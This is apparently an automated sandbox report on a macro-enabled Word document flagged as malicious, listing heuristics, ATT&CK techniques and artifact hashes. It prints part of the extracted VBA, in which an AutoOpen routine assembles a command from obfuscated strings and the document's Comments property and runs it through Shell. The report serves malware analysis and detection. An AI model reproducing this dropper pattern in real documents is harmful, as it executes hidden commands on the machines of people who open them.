MALICIOUS
282
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The sample is an OOXML document containing VBA macros, specifically an AutoOpen macro that calls the Shell() function. This indicates the document is designed to execute arbitrary commands, likely to download and run a secondary payload. The ClamAV detection name 'Doc.Macro.DollarShell-6346616-0' further supports this malicious intent.
Heuristics 6
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ClamAV: Doc.Macro.DollarShell-6346616-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.DollarShell-6346616-0
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VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
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Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 8718 bytes |
SHA-256: 143acb5815e8b93ad91658706785b73307ed532be7472744f31e3d66feda2bce |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Sub autoopen()
seHKzkcdPFR
End Sub
Function seHKzkcdPFR()
vtRZabSX = "shGtPsE" + "ThWKMfvu" + "hYFHkybZ" + "bRyNPbhFy" + "emwbgmmr" + "SkDHPka" + "DxTrPSEe" + rrYbUbs = "YuCnGZhL" + "LXVcxLvg" + "FMBkmTKMZ" + "svZsRMscgs" + "ghhdzMB" + "zZcKauZdwx" + "uYLnudsK" + UpFZwRKzx = "CLxGZRWmv" + "fgLKURHewv" + "eTwcHcFZRx" + "KZNVrCChX" + "gGzZZuwhk" + "MDyCXUMhn" + "rsgKwZG" + "uMrwgvrszBv"
aFakRGgNdhh = "sRkRYWsep" + "ZTkYTShR" + "weZHAEfaED" + "xNebRXYnKT" + "GthYAfxn" + "cGZgvzFW" + "CvMUbbuHLvc" + nSNVdrn = "BkfPtpvt" + "PGCkrvVfKb" + "xuuWdWMFnP" + "FnyesexB" + "VpzcHgP" + "VvDnRRdZ" + "sKPKLmty" + "zdAuahDXMH"
SgFghVUFvr = "SLWeUMpU" + "gcBAWDy" + "ZAWukrpttU" + "gszFUhM" + "MhaGPMhFUUe" + "ybeEhdukncD" + "ZfvMsShW" + LFXbcyXZ = "FzDZzPav" + "NTVGHKMm" + "WAsSMSnue" + "GnEwHcxC" + "aTSHtcPGAFS" + "DWDvaAsz" + "NrXEbFA" + hRBmuBM = "cHBuUGg" + "pvVndbY" + "wHcBysbg" + "hCkEUPD" + "fLaBsHtL" + "YGRYYvWuH" + "dzegmHWSa" + CGPaECXfs = "VecGrMMh" + "LMfgCLUeVKF" + "AvHBfvgH" + "NkxZtky" + "tmnFwKmMKU" + "mmbMcNc" + "UHceHCWHW" + "cwcPfWt"
yAgckpFzyW = "ccLMwstMgHw" + "GVzRRwrVzsz" + "KEdXnLp" + "adEtGdMKGb" + "dSBuZTugnKE" + "XTDApPTxhUd" + "atGZRzu" + PCfbEnVnPC = "ubsyVmpuuDX" + "bbnNvUREAhA" + "PyftNfT" + "MbXcVcCbTLw" + "dBMMYUgzaCh" + "ezZCefneaH" + "ppctaGLx" + dpwLTZEnHMy = "vWMddDMwCr" + "eydvtytbxr" + "xcGcKkV" + "uUWXrSUz" + "HtVGFrRDaf" + "YbuRfSVFVd" + "RLPtteC" + LCbGYeau = "ZNnnVyx" + "duvhPfCxfFp" + "ADNDUtGZUk" + "gyEtcLUFeB" + "YkgGxNuRB" + "vFLNHKvGEZ" + "vnwbMrdHtRR" + pKUUMMC = "RkvKWYLUy" + "fYMGMfMDT" + "GdxuvfNuHf" + "ULGNsUzgDa" + "WfkRgnMkMf" + "PFpXTaE" + "GnapBkZ" + "KwEgDpLDMT"
esRLTXpTvT = "bexxsgh" + "BzUnFyX" + "SntErFwm" + "pUZVavvu" + "PupndUBN" + "HAAyFxRd" + "hRYawBXRZXz" + svkCMNAazkP = "yNxfKzSBEw" + "SkUbzCEkV" + "hxBEaruFnbH" + "ZrFfcCveBw" + "xhLLkbWY" + "aGcnkmtM" + "UpyUSpdT" + vsyaEApPAnW = "SczGyMau" + "SnZSVWXKXRe" + "dbgbbTbtNM" + "PYhdGMCvDX" + "pnSTZGLKBA" + "YNWybSCW" + "sphHxTxv" + "gFrXXXvexhE"
hPWEEBGRytp = "MphscNy" + "ZdxaTeerSmT" + "hSXDFhFBkFx" + "PfTbgBKfuP" + "cvTwsXEx" + "RMfVdkYDfL" + "LZLTbrrymt" + HXwaeMRnxNw = "WsyvCLDMW" + "wpSbKhSLW" + "VSGcdBfTu" + "KAtRuuGB" + "pTGbSxfxrce" + "HadDXAWnC" + "zcRPVWLK" + CKbBdxYTmm = "RTprmZrGZVV" + "hDRAmbRD" + "dGZpkPLEuw" + "AGUBkMNs" + "sgcDWfuwbKT" + "RDkrrmpy" + "vSVVmfu" + UUzRFsxH = "KtccKvtk" + "ADaMkUtgD" + "GuaEwFeBL" + "hasunDeb" + "NYGYKZksmen" + "BVbLUUbTFYW" + "hSAHczmFxTE" + tUXFSVVu = "uXvFpwKax" + "nHnZPhzFN" + "kbhUThsSepk" + "egpvwFSSmxy" + "YwdhkPzMBG" + "HaCEySp" + "ekLxTBZXNh" + "MdCfPZe"
ffxpnwNrVDp = "" + UWGtyfW + NzGWxKNHB + DuaRuKG + KbtYGFR + eZXSSbgAYnB + duChpNnHBXm + mntsaGzKpTe + xenAzZd + wAUPRbSDtR + AuTaXpbm + apwufBRG + MGMagsRDLUd + ActiveDocument.BuiltInDocumentProperties("Co" + "mments") + UWGtyfW + NzGWxKNHB + DuaRuKG + KbtYGFR + eZXSSbgAYnB + duChpNnHBXm + mntsaGzKpTe + xenAzZd + wAUPRbSDtR + AuTaXpbm + apwufBRG + MGMagsRDLUd + KHLMdAam
CyXexBRs = "sNKnwCWh" + "RgrLxdarRHY" + "FDaVPAWEwb" + "gHYkndNMKVp" + "zdWTTBBkCnt" + "PhpARSHUze" + "BUYZpndP" + PVZgNsEfD = "EMNsdKXdWEK" + "fcaKnCnWXL" + "aZEyFhVt" + "uAnBgyzLLHp" + "UgwtueSwPd" + "ZSNfteDgMGc" + "kMskzHrUPFG" + eEuLzNm = "haXGvFBSdL" + "sVXTMZeFt" + "dGRZcXhCNHS" + "BcSZguHGM" + "EThCEndW" + "CGUYLCksN" + "LWhaUUaRBfU" + "EYtbMRNMU"
aDXAewB = "pDvhfMFbg" + "dzutbFmxkcp" + "muVLeBDwmuv" + "CpdTDEzhsCr" + "TvkRsmhtEu" + "GhDgdNDMm" + "hTbVunBCc" + aWStBuE = "ttsZTpeGS" + "FRCaatWCedF" + "mPByBnXpY" + "AWTkfbmKWEf" + "bGMkSzFYBkN" + "YsvUteG" + "TaHmDcL" + "zRmehSgE"
VBA.Shell$ "" + UWGtyfW + NzGWxKNHB + DuaRuKG + KbtYGFR + eZXSSbgAYnB + duChpNnHBXm + mntsaGzKpTe + xenAzZd + wAUPRbSDtR + AuTaXpbm + apwufBRG + MGMagsRDLUd + ffxpnwNrVDp + UWGtyfW + NzGWxKNHB + DuaRuKG + KbtYGFR + eZXSSbgAYnB + duChpNnHBXm + mntsaG
... (truncated)
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vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 57344 bytes |
SHA-256: 93857140350f7ac86229b206cf2f5c02924f6dd280954a52e192acabb17ec89b |
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Detection
ClamAV:
Doc.Macro.DollarShell-6346616-0
Obfuscation or payload:
unlikely
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